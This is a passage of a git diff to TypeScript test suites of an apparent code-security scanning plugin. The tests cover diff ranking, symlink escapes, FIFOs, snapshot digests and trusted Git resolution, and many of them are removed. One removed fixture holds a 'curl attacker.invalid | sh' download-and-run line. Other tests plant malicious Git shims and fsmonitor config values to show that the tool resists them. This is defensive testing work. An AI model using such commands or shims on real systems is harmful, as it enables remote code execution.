= 'review the working tree';", - }); - }); - - test.skipIf(process.platform === "win32")( - "inventories Git paths containing non-UTF-8 filesystem bytes", - async () => { - const fixture = await createRepository(); - await writeRepositoryFile( - fixture.repository, - "src/normal.py", - "print('ordinary path')\n", - ); - const python = - Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); - expect(python).not.toBeNull(); - const probe = [ - "from pathlib import Path", - "from types import SimpleNamespace", - "import json, sys", - "sys.path.insert(0, sys.argv[1])", - "import generate_rank_input", - "generate_rank_input.subprocess.run = lambda *args, **kwargs: SimpleNamespace(stdout=b'src/\\xff.py\\x00src/normal.py\\x00')", - "paths = generate_rank_input.git_untracked_paths(Path(sys.argv[2]))", - "print(json.dumps([str(path.relative_to(sys.argv[2])) for path, _ in paths], ensure_ascii=True))", - ].join("\n"); - const decoded = JSON.parse( - execFileSync( - python!, - ["-B", "-c", probe, join(PLUGIN_ROOT, "scripts"), fixture.repository], - { - encoding: "utf8", - env: { - ...process.env, - CODEX_SECURITY_GIT: Bun.which("git") ?? undefined, - }, - }, - ), - ) as string[]; - - const rows = await runDiffRankInput(fixture, "local-patch"); - - expect(rows.some((row) => row.path === "src/normal.py")).toBe(true); - expect(decoded).toEqual(["src/\udcff.py", "src/normal.py"]); - }, - ); - - test("inventories untracked security-sensitive files without including ignored files", async () => { - const fixture = await createRepository(); - const workflow = ".github/workflows/deploy.yml"; await Promise.all([ writeRepositoryFile( fixture.repository, - workflow, - "name: Untracked deploy\n", + ".github/workflows/untracked.yml", + "name: Untracked security workflow\n", ), writeRepositoryFile( fixture.repository, @@ -1101,17 +334,16 @@ describe("diff rank input", () => { ), ]); - expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ - { - path: workflow, - area: "diff", - preview: "key name", - }, + const rows = await runDiffRankInput(fixture, "local-patch"); + + expect(rows.map((row) => row.path)).toEqual([ + ".github/workflows/untracked.yml", ]); + expect(rows[0]?.preview.length).toBeGreaterThan(0); }); test.skipIf(process.platform === "win32")( - "previews committed symlink targets without dereferencing external paths", + "never previews committed symlinks or repository paths escaping through a symlinked parent", async () => { const fixture = await createRepository(); const canary = "CODEX_SECURITY_SYNTHETIC_EXTERNAL_SECRET_7e98526d"; @@ -1159,10 +391,20 @@ describe("diff rank input", () => { ); const rows = await runDiffRankInput(fixture, "revisions"); - expect(rows.map(({ path }) => path)).toContain("src/linked.py"); - expect(rows.map(({ path }) => path)).toContain( - ".github/workflows/linked.yml", + + expect(rows.map((row) => row.path)).toEqual( + [ + ".github/workflows/linked.yml", + "src/app.ts", + "src/linked.py", + "src/parent/escaped.py", + ].sort(), ); + expect( + rows + .filter((row) => row.path !== "src/app.ts") + .every((row) => row.preview === ""), + ).toBe(true); expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, @@ -1183,9 +425,16 @@ describe("diff rank input", () => { "export const value = 2;\n", ); - await expect(runDiffRankInput(fixture, "local-patch")).rejects.toThrow( - /unsafe changed repository path/iu, + const rows = await runDiffRankInput(fixture, "local-patch"); + + expect(rows.map((row) => row.path)).toEqual([ + "src/app.ts", + "src/linked.py", + ]); + expect(rows.find((row) => row.path === "src/linked.py")?.preview).toBe( + "", ); + expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); @@ -1212,19 +461,12 @@ describe("diff rank input", () => { ); } - if (mode === "revisions") { - const rows = await runDiffRankInput(fixture, mode); - expect(rows).toContainEqual({ - path: "src/app.ts", - area: "diff", - preview: externalFile, - }); - expect(JSON.stringify(rows)).not.toContain(canary); - } else { - await expect(runDiffRankInput(fixture, mode)).rejects.toThrow( - /unsafe changed repository path/iu, - ); - } + const rows = await runDiffRankInput(fixture, mode); + + expect(rows).toEqual([ + { path: "src/app.ts", area: "diff", preview: "" }, + ]); + expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); } }, @@ -1244,24 +486,20 @@ describe("diff rank input", () => { ); git(fixture.repository, "add", "src/app.ts"); git(fixture.repository, "commit", "-qm", "update reviewed source"); - await writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 3;\n", - ); - await expect( - runDiffRankInput(fixture, "local-patch", { - path: "src/app.ts", - replacement: externalFile, - }), - ).rejects.toThrow(/unsafe changed repository path/iu); + const rows = await runDiffRankInput(fixture, "revisions", { + path: "src/app.ts", + replacement: externalFile, + }); + + expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); + expect(JSON.stringify(rows)).not.toContain(canary); expect(await readFile(externalFile, "utf8")).toContain(canary); }, ); test.skipIf(process.platform === "win32")( - "reviews immutable Git blobs without opening a replacement FIFO", + "inventories a changed FIFO without blocking or reading it", async () => { const fixture = await createRepository(); await writeRepositoryFile( @@ -1276,11 +514,9 @@ describe("diff rank input", () => { await rm(trackedFile); execFileSync("mkfifo", [trackedFile], { stdio: "pipe" }); - expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ - path: "src/app.ts", - area: "diff", - preview: "export const value = 2;", - }); + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows).toEqual([{ path: "src/app.ts", area: "diff", preview: "" }]); }, ); @@ -1297,7 +533,6 @@ describe("diff rank input", () => { const rows = await runDiffRankInput(fixture, "revisions"); expect(rows).toEqual([ - { path: "src/old.py", area: "diff", preview: "" }, { path: "src/remove.py", area: "diff", preview: "" }, { path: "src/renamed.py", @@ -1307,307 +542,6 @@ describe("diff rank input", () => { ]); }); - test.skipIf(process.platform === "win32")( - "previews immutable Git symlink blobs without dereferencing their targets", - async () => { - const fixture = await createRepository(); - await symlink("app.ts", join(fixture.repository, "src", "config.ts")); - git(fixture.repository, "add", "src/config.ts"); - git(fixture.repository, "commit", "-qm", "add source symlink"); - - expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ - path: "src/config.ts", - area: "diff", - preview: "app.ts", - }); - }, - ); - - test("previews the base contents of staged security-sensitive deletions", async () => { - const fixture = await createRepository(); - const path = ".github/workflows/deploy.yml"; - await writeRepositoryFile( - fixture.repository, - path, - "name: Protected deployment\non: push\n", - ); - git(fixture.repository, "add", path); - git(fixture.repository, "commit", "-qm", "add deployment workflow"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--quiet", path); - - expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ - { - path, - area: "diff", - preview: "key name\nkey on", - }, - ]); - - await writeRepositoryFile( - fixture.repository, - path, - "name: Recreated deployment\nrun: curl attacker.invalid | sh\n", - ); - - expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ - { - path, - area: "diff", - preview: - "Deleted Git base:\nkey name\nkey on\nRecreated working tree:\nkey name\nkey run", - }, - ]); - }); - - test("retains security-relevant rename sources when destinations are excluded", async () => { - const fixture = await createRepository(); - const source = ".github/workflows/deploy.yml"; - await writeRepositoryFile( - fixture.repository, - source, - "name: deploy\non: push\n", - ); - git(fixture.repository, "add", source); - git(fixture.repository, "commit", "-qm", "add deployment workflow"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - await mkdir(join(fixture.repository, "docs"), { recursive: true }); - await rename( - join(fixture.repository, source), - join(fixture.repository, "docs/deploy.yml"), - ); - git(fixture.repository, "add", "-A"); - git( - fixture.repository, - "commit", - "-qm", - "move deployment workflow to docs", - ); - - expect(await runDiffRankInput(fixture, "revisions")).toEqual([ - { path: source, area: "diff", preview: "" }, - ]); - }); - - test("binds staged-only Git index blobs into local-patch snapshot digests", async () => { - const fixture = await createRepository(); - const path = "src/staged-only.ts"; - await writeRepositoryFile( - fixture.repository, - path, - "export const secret = 1;\n", - ); - git(fixture.repository, "add", path); - await rm(join(fixture.repository, path)); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const digest = (): string => - execFileSync( - python!, - [ - "-I", - "-B", - "-c", - "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - ], - { encoding: "utf8" }, - ).trim(); - const previous = digest(); - const replacement = execFileSync("git", ["hash-object", "-w", "--stdin"], { - cwd: fixture.repository, - input: "export const secret = 2;\n", - encoding: "utf8", - }).trim(); - git( - fixture.repository, - "update-index", - "--cacheinfo", - `100644,${replacement},${path}`, - ); - - expect(digest()).not.toBe(previous); - }); - - test("reports staged changes hidden by a matching legacy snapshot", async () => { - const fixture = await createRepository(); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const warning = execFileSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "import sqlite3, subprocess, sys", - "from pathlib import Path", - "sys.path.insert(0, sys.argv[1])", - "from filesystem_identity import serialize_filesystem_identity", - "from workbench_target import scan_target_warning, worktree_content_digest", - "target = Path(sys.argv[2])", - "revision = sys.argv[3]", - "expected = worktree_content_digest(target)", - "blob = subprocess.check_output(['git', '-C', str(target), 'hash-object', '-w', '--stdin'], input=b'export const value = 2;\\n', text=False).decode().strip()", - "subprocess.run(['git', '-C', str(target), 'update-index', '--cacheinfo', f'100644,{blob},src/app.ts'], check=True)", - "connection = sqlite3.connect(':memory:')", - "connection.row_factory = sqlite3.Row", - "metadata = target.stat()", - "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', None, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, expected, str(target.parent / 'scan'))).fetchone()", - "print(scan_target_warning(scan))", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - fixture.base, - ], - { encoding: "utf8" }, - ).trim(); - - expect(warning).toContain("Working-tree contents changed"); - }); - - test("binds every unresolved Git merge stage into local-patch snapshot digests", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - const objectId = (contents: string): string => - execFileSync("git", ["hash-object", "-w", "--stdin"], { - cwd: fixture.repository, - encoding: "utf8", - input: contents, - }).trim(); - const stageIds = ["base", "ours", "theirs"].map((value) => - objectId(`export const value = '${value}';\n`), - ); - const setStages = (identifiers: string[]): void => { - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - ...identifiers.map( - (identifier, stage) => `100644 ${identifier} ${stage + 1}\t${path}`, - ), - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - }; - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const digest = (): string => - execFileSync( - python!, - [ - "-I", - "-B", - "-c", - "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - ], - { encoding: "utf8" }, - ).trim(); - - setStages(stageIds); - const previous = digest(); - setStages([ - objectId("export const value = 'different base';\n"), - ...stageIds.slice(1), - ]); - - expect(digest()).not.toBe(previous); - }); - - test("rejects outdated snapshot digests for unresolved Git conflicts", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - const hashes = ["base-target.ts", "ours-target.ts", "theirs-target.ts"].map( - (target) => - execFileSync("git", ["hash-object", "-w", "--stdin"], { - cwd: fixture.repository, - encoding: "utf8", - input: target, - }).trim(), - ); - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - ...hashes.map((hash, stage) => `120000 ${hash} ${stage + 1}\t${path}`), - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const result = spawnSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "import sys", - "from pathlib import Path", - "sys.path.insert(0, sys.argv[1])", - "from workbench_db import require_diff_target", - "from workbench_target import worktree_content_digest", - "target = Path(sys.argv[2])", - "revision = sys.argv[3]", - "previous = worktree_content_digest(target, include_conflicted_index=False)", - "require_diff_target(target, 'working_tree', revision, revision, previous)", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - fixture.base, - ], - { encoding: "utf8" }, - ); - - expect(result.status).toBe(1); - expect(result.stderr).toContain("Working-tree contents changed"); - }); - - test("rejects legacy snapshot digests that omit staged Git contents", async () => { - const fixture = await createRepository(); - await writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 2;\n", - ); - git(fixture.repository, "add", "src/app.ts"); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const result = spawnSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "import sys", - "from pathlib import Path", - "sys.path.insert(0, sys.argv[1])", - "from workbench_db import require_diff_target", - "from workbench_target import worktree_content_digest", - "target = Path(sys.argv[2])", - "revision = sys.argv[3]", - "legacy = worktree_content_digest(target, legacy=True)", - "require_diff_target(target, 'working_tree', revision, revision, legacy)", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - fixture.base, - ], - { encoding: "utf8" }, - ); - - expect(result.status).toBe(1); - expect(result.stderr).toContain("Working-tree contents changed"); - }); - test("continues to exclude binary files and ignored dependency directories", async () => { const fixture = await createRepository(); await Promise.all([ @@ -1647,42 +581,4 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual(["src/app.ts"]); expect(rows[0]?.preview).toContain("value = 2"); }); - - test("excludes changed and deleted non-source binary assets", async () => { - const fixture = await createRepository(); - await Promise.all([ - writeRepositoryFile( - fixture.repository, - "assets/deleted.png", - Buffer.from([0x89, 0x50, 0x4e, 0x47]), - ), - writeRepositoryFile( - fixture.repository, - "assets/changed.png", - Buffer.from([0x89, 0x50, 0x4e, 0x47]), - ), - ]); - git(fixture.repository, "add", "assets"); - git(fixture.repository, "commit", "-qm", "add image assets"); - const base = git(fixture.repository, "rev-parse", "HEAD"); - await Promise.all([ - rm(join(fixture.repository, "assets", "deleted.png")), - writeRepositoryFile( - fixture.repository, - "assets/changed.png", - Buffer.from([0x89, 0x50, 0x4e, 0x48]), - ), - writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 2;\n", - ), - ]); - git(fixture.repository, "add", "-A"); - git(fixture.repository, "commit", "-qm", "change source and image assets"); - - const rows = await runDiffRankInput({ ...fixture, base }, "revisions"); - - expect(rows.map((row) => row.path)).toEqual(["src/app.ts"]); - }); }); diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index 1a2f0d41..6ce95cf5 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1453,64 +1453,6 @@ describe("plugin runtime preparation", () => { }); describe("runtime directories and plugin Python boundary", () => { - test("binds immutable Git diffs to a deterministic snapshot digest", async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - await mkdir(repository); - const runGit = (...args: string[]): string => { - const result = Bun.spawnSync(["git", ...args], { cwd: repository }); - expect(result.exitCode).toBe(0); - return result.stdout.toString().trim(); - }; - runGit("init", "-b", "main"); - runGit("config", "user.email", "test@example.com"); - runGit("config", "user.name", "Test"); - await writeFile(join(repository, "app.ts"), "export const value = 1;\n"); - runGit("add", "app.ts"); - runGit("commit", "-m", "initial"); - const base = runGit("rev-parse", "HEAD"); - await writeFile(join(repository, "app.ts"), "export const value = 2;\n"); - runGit("add", "app.ts"); - runGit("commit", "-m", "change"); - const head = runGit("rev-parse", "HEAD"); - - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const scripts = join(await bundledPluginRoot(), "scripts"); - const source = [ - "import pathlib, sys", - "sys.path.insert(0, sys.argv[1])", - "from workbench_target import git_diff_content_digest", - "print(git_diff_content_digest(pathlib.Path(sys.argv[2]), sys.argv[3], sys.argv[4]))", - ].join("\n"); - const digest = (): string => { - const result = Bun.spawnSync( - [python!, "-I", "-B", "-c", source, scripts, repository, base, head], - { - cwd: repository, - env: { - ...process.env, - CODEX_SECURITY_GIT: Bun.which("git")!, - }, - }, - ); - expect(result.exitCode).toBe(0); - return result.stdout.toString().trim(); - }; - - const first = digest(); - expect(first).toMatch(/^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/); - await writeFile( - join(repository, "untracked.txt"), - "outside immutable diff\n", - ); - expect(digest()).toBe(first); - await writeFile(join(repository, ".gitattributes"), "*.ts binary\n"); - expect(digest()).toBe(first); - runGit("replace", head, base); - expect(digest()).toBe(first); - }); - test("prepares one private, reusable managed-credential home", async () => { const root = await temporaryDirectory(); const environment = { CODEX_SECURITY_STATE_DIR: join(root, "state") }; @@ -3078,172 +3020,6 @@ describe("runtime directories and plugin Python boundary", () => { expect(result).toEqual({ ok: true }); }); - testPosix( - "uses trusted Git for workbench commands instead of a repository-local shim", - async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - const shimDirectory = join(repository, "node_modules", ".bin"); - const pluginRoot = join(root, "plugin"); - const marker = join(root, "repository-git-executed"); - await mkdir(shimDirectory, { recursive: true }); - await mkdir(join(pluginRoot, "scripts"), { recursive: true }); - await writeFile( - join(shimDirectory, "git"), - `#!/bin/sh\nprintf executed > ${JSON.stringify(marker)}\nexit 1\n`, - { mode: 0o700 }, - ); - await writeFile( - join(pluginRoot, "scripts", "workbench_db.py"), - [ - "import json, os, subprocess", - "assert os.environ.get('GIT_CONFIG_COUNT') is None", - "git = os.environ['CODEX_SECURITY_GIT']", - "completed = subprocess.run([git, '--version'], check=True, capture_output=True, text=True)", - "print(json.dumps({'git': git, 'path': os.environ.get('PATH'), 'version': completed.stdout.strip()}))", - ].join("\n"), - ); - const python = Bun.which("python3") ?? Bun.which("python"); - const git = Bun.which("git"); - expect(python).not.toBeNull(); - expect(git).not.toBeNull(); - - const result = await runWorkbench( - { - python: python!, - pluginRoot, - protectedRoot: repository, - environment: { - PATH: `${shimDirectory}${delimiter}${dirname(git!)}`, - GIT_CONFIG_COUNT: "1", - GIT_CONFIG_KEY_0: "core.fsmonitor", - GIT_CONFIG_VALUE_0: join(repository, "fsmonitor"), - }, - }, - ["test-command"], - ); - - expect(result).toMatchObject({ - git, - version: expect.stringMatching(/^git version /u), - }); - expect(String(result["path"]).split(delimiter)).not.toContain( - shimDirectory, - ); - expect(existsSync(marker)).toBe(false); - }, - ); - - testPosix( - "preserves a sanitized executable path when Git is unavailable", - async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - const protectedBinaries = join(repository, "node_modules", ".bin"); - const unsafeBinaries = join(root, "unsafe-binaries"); - const safeBinaries = join(root, "trusted-binaries"); - const pluginRoot = join(root, "plugin"); - await Promise.all([ - mkdir(protectedBinaries, { recursive: true }), - mkdir(unsafeBinaries, { recursive: true }), - mkdir(safeBinaries, { recursive: true }), - mkdir(join(pluginRoot, "scripts"), { recursive: true }), - ]); - const repositoryGit = join(repository, "git"); - await writeFile(repositoryGit, "#!/bin/sh\nexit 1\n", { mode: 0o700 }); - await symlink(repositoryGit, join(unsafeBinaries, "git")); - await writeFile( - join(safeBinaries, "rg"), - "#!/bin/sh\nprintf '%s\\n' trusted-ripgrep\n", - { mode: 0o700 }, - ); - await writeFile( - join(pluginRoot, "scripts", "workbench_db.py"), - [ - "import json, os, shutil, subprocess", - "assert os.environ.get('GIT_CONFIG_COUNT') is None", - "assert os.environ['CODEX_SECURITY_GIT'] == ''", - "assert shutil.which('git') is None", - "result = subprocess.run(['rg'], check=True, capture_output=True, text=True)", - "print(json.dumps({'path': os.environ['PATH'], 'output': result.stdout.strip()}))", - ].join("\n"), - ); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - - const result = await runWorkbench( - { - python: python!, - pluginRoot, - protectedRoot: repository, - environment: { - PATH: [unsafeBinaries, protectedBinaries, safeBinaries].join( - delimiter, - ), - GIT_CONFIG_COUNT: "1", - }, - }, - ["test-command"], - ); - - expect(result).toEqual({ - path: await realpath(safeBinaries), - output: "trusted-ripgrep", - }); - }, - ); - - testPosix( - "does not let diff ranking fall back to a repository-local Git shim", - async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - const shimDirectory = join(repository, "node_modules", ".bin"); - const marker = join(root, "rank-git-executed"); - const output = join(root, "rank-input.jsonl"); - await mkdir(shimDirectory, { recursive: true }); - await writeFile( - join(shimDirectory, "git"), - `#!/bin/sh\nprintf executed > ${JSON.stringify(marker)}\nexit 1\n`, - { mode: 0o700 }, - ); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - - const result = spawnSync( - python!, - [ - "-I", - "-B", - join(PLUGIN_ROOT, "scripts", "generate_rank_input.py"), - "make-diff-rank-input", - "--repo", - repository, - "--base", - "HEAD", - "--mode", - "local-patch", - "--out", - output, - ], - { - encoding: "utf8", - env: { - PATH: shimDirectory, - CODEX_SECURITY_GIT: join(shimDirectory, "git"), - }, - }, - ); - - expect(result.status).toBe(1); - expect(result.stderr).toContain( - "CODEX_SECURITY_GIT must stay outside the protected repository.", - ); - expect(existsSync(marker)).toBe(false); - expect(existsSync(output)).toBe(false); - }, - ); - test("upgrades colliding legacy execution-profile and public CLI migrations", async () => { const root = await temporaryDirectory("codex-security-legacy-migrations-"); const repository = join(root, "repository"); @@ -3754,6 +3530,7 @@ describe("runtime directories and plugin Python boundary", () => { join(root, "missing-manifest.json"), ); }); + test("preserves recorded artifact paths when archiving a completed scan", async () => { const root = await temporaryDirectory(); const scanDir = join(root, "scan"); @@ -4181,46 +3958,6 @@ describe("runtime directories and plugin Python boundary", () => { TEST: "1", PYTHON: managed, }); - expect( - pluginExecutionEnvironment( - managed, - { PATH: "/repository/bin", GIT_CONFIG_COUNT: "1", TEST: "1" }, - { - executable: "/trusted/bin/git", - environment: { PATH: "/trusted/bin" }, - }, - ), - ).toEqual({ - PATH: "/trusted/bin", - TEST: "1", - CODEX_SECURITY_GIT: "/trusted/bin/git", - PYTHON: managed, - }); - expect( - pluginExecutionEnvironment( - managed, - { Path: "/repository/bin", GIT_CONFIG_COUNT: "1", TEST: "1" }, - null, - "/trusted/bin", - ), - ).toEqual({ - PATH: "/trusted/bin", - TEST: "1", - CODEX_SECURITY_GIT: "", - PYTHON: managed, - }); - expect( - pluginExecutionEnvironment( - managed, - { Path: "/repository/bin", TEST: "1" }, - null, - ), - ).toEqual({ - PATH: "", - TEST: "1", - CODEX_SECURITY_GIT: "", - PYTHON: managed, - }); await expect( resolvePluginPython({ configuredPath: "/bin/true", diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index ee0d9937..153e5d4b 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -5,7 +5,6 @@ import { mkdtemp, readFile, realpath, - rename, rm, writeFile, } from "node:fs/promises"; @@ -357,214 +356,13 @@ describe("malformed scan artifact recovery", () => { fixture.repository, join(fixture.stateDir, "checkout"), ], - { - encoding: "utf8", - env: { - ...process.env, - CODEX_SECURITY_GIT: Bun.which("git")!, - }, - }, + { encoding: "utf8" }, ); expect(copied.status, copied.stderr).toBe(0); } } }); - test("persists an immutable diff digest during CLI scan registration", async () => { - const root = await realpath( - await mkdtemp(join(tmpdir(), "codex-security-diff-registration-")), - ); - temporaryDirectories.push(root); - const repository = join(root, "repository"); - const scanDir = join(root, "scan"); - await mkdir(repository); - await mkdir(scanDir, { mode: 0o700 }); - const runGit = (args: string[]) => { - const result = spawnSync("git", ["-C", repository, ...args], { - encoding: "utf8", - }); - expect(result.status, result.stderr).toBe(0); - return result.stdout.trim(); - }; - runGit(["init", "--quiet"]); - runGit(["config", "user.name", "Codex Security"]); - runGit(["config", "user.email", "codex-security@example.invalid"]); - await writeFile(join(repository, "app.ts"), "export const value = 1;\n"); - runGit(["add", "app.ts"]); - runGit(["commit", "--quiet", "-m", "base"]); - const base = runGit(["rev-parse", "HEAD"]); - await writeFile(join(repository, "app.ts"), "export const value = 2;\n"); - runGit(["add", "app.ts"]); - runGit(["commit", "--quiet", "-m", "head"]); - const head = runGit(["rev-parse", "HEAD"]); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const fixture: ScanFixture = { - python: python!, - repository, - stateDir: join(root, "state"), - scanDir, - scanId: "", - registration: {}, - }; - - const registration = await workbench(fixture, [ - "register-cli-scan", - "--repository", - repository, - "--scan-dir", - scanDir, - "--recipe-json", - JSON.stringify({ - config: {}, - mode: "standard", - repository, - target: { kind: "refs", paths: [], base, head }, - }), - ]); - const contract = registration["contract"] as { - diffTarget: { contentDigest?: string }; - }; - - expect(contract.diffTarget.contentDigest).toMatch( - /^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/, - ); - - fixture.scanId = String(registration["scanId"]); - fixture.registration = registration; - await cp(join(PLUGIN_ROOT, "examples", "completed-scan"), scanDir, { - recursive: true, - }); - const manifestPath = join(scanDir, "scan-manifest.json"); - const manifest = await readJson<{ - scan: { - id: string; - target: { kind: string }; - sealedAt?: string; - artifacts?: unknown[]; - }; - }>(manifestPath); - manifest.scan.id = fixture.scanId; - manifest.scan.target.kind = "git_diff"; - delete manifest.scan.sealedAt; - delete manifest.scan.artifacts; - await writeJson(manifestPath, manifest); - for (const name of ["findings.json", "coverage.json"] as const) { - const path = join(scanDir, name); - const document = await readJson<{ scanId: string }>(path); - document.scanId = fixture.scanId; - await writeJson(path, document); - } - await writeFile(join(scanDir, "report.md"), "# Draft report\n"); - - await workbench(fixture, [ - "prepare-scan-completion", - "--scan-id", - fixture.scanId, - ]); - const preparedManifest = await readJson<{ - scan: { target: { snapshotDigest?: string } }; - }>(manifestPath); - expect(preparedManifest.scan.target.snapshotDigest).toBe( - contract.diffTarget.contentDigest, - ); - - const downgrade = () => { - const result = spawnSync( - fixture.python, - [ - "-I", - "-B", - "-c", - [ - "import sqlite3, sys", - "with sqlite3.connect(sys.argv[1]) as connection:", - " connection.execute('UPDATE scans SET diff_content_digest = NULL WHERE id = ?', (sys.argv[2],))", - " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[2],))", - ].join("\n"), - join(fixture.stateDir, "workbench.sqlite3"), - fixture.scanId, - ], - { encoding: "utf8" }, - ); - expect(result.status, result.stderr).toBe(0); - }; - downgrade(); - const gitDirectory = join(repository, ".git"); - const unavailableGitDirectory = join(root, "temporarily-unavailable-git"); - await rename(gitDirectory, unavailableGitDirectory); - try { - expect((await completeScan(fixture)).progress.status).toBe("complete"); - } finally { - await rename(unavailableGitDirectory, gitDirectory); - } - - downgrade(); - expect((await completeScan(fixture)).progress.status).toBe("complete"); - - const restoreLegacyManifest = spawnSync( - fixture.python, - [ - "-I", - "-B", - "-c", - [ - "import json, pathlib, sqlite3, sys", - "manifest_path = pathlib.Path(sys.argv[1])", - "manifest = json.loads(manifest_path.read_text(encoding='utf-8'))", - "manifest['scan']['target'].pop('snapshotDigest', None)", - "encoded = (json.dumps(manifest, allow_nan=False, indent=2, sort_keys=True) + '\\n').encode()", - "manifest_path.write_bytes(encoded)", - "with sqlite3.connect(sys.argv[2]) as connection:", - " connection.execute('UPDATE scans SET diff_content_digest = NULL, seal_manifest_digest = NULL WHERE id = ?', (sys.argv[3],))", - " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[3],))", - ].join("\n"), - manifestPath, - join(fixture.stateDir, "workbench.sqlite3"), - fixture.scanId, - ], - { encoding: "utf8" }, - ); - expect(restoreLegacyManifest.status, restoreLegacyManifest.stderr).toBe(0); - expect((await completeScan(fixture)).progress.status).toBe("complete"); - expect( - ( - await readJson<{ - scan: { target: { snapshotDigest?: string } }; - }>(manifestPath) - ).scan.target.snapshotDigest, - ).toBeUndefined(); - - const verifyLegacyManifestDigest = spawnSync( - fixture.python, - [ - "-I", - "-B", - "-c", - [ - "import hashlib, pathlib, sqlite3, sys", - "digest = 'sha256:' + hashlib.sha256(pathlib.Path(sys.argv[1]).read_bytes()).hexdigest()", - "with sqlite3.connect(sys.argv[2]) as connection:", - " recorded = connection.execute('SELECT seal_manifest_digest FROM scans WHERE id = ?', (sys.argv[3],)).fetchone()[0]", - "assert recorded == digest, recorded", - ].join("\n"), - manifestPath, - join(fixture.stateDir, "workbench.sqlite3"), - fixture.scanId, - ], - { encoding: "utf8" }, - ); - expect( - verifyLegacyManifestDigest.status, - verifyLegacyManifestDigest.stderr, - ).toBe(0); - - await writeFile(manifestPath, `${await readFile(manifestPath, "utf8")}\n`); - await expect(completeScan(fixture)).rejects.toThrow( - "The sealed scan manifest changed after completion.", - ); - }); - test("seals a prepared scan without publishing it before acceptance", async () => { const fixture = await startDraftScan(); diff --git a/sdk/typescript/tests-ts/trusted-executable.test.ts b/sdk/typescript/tests-ts/trusted-executable.test.ts index 2321f83e..34db4501 100644 --- a/sdk/typescript/tests-ts/trusted-executable.test.ts +++ b/sdk/typescript/tests-ts/trusted-executable.test.ts @@ -110,42 +110,6 @@ describe("trusted executable resolution", () => { }, ); - test.skipIf(process.platform === "win32")( - "rejects Git shims owned by the outer checkout of a nested repository", - async () => { - const root = await temporaryDirectory(); - const checkout = join(root, "checkout"); - const nested = join(checkout, "vendor", "nested"); - const unsafe = join(checkout, "node_modules", ".bin"); - const trusted = join(root, "trusted"); - await 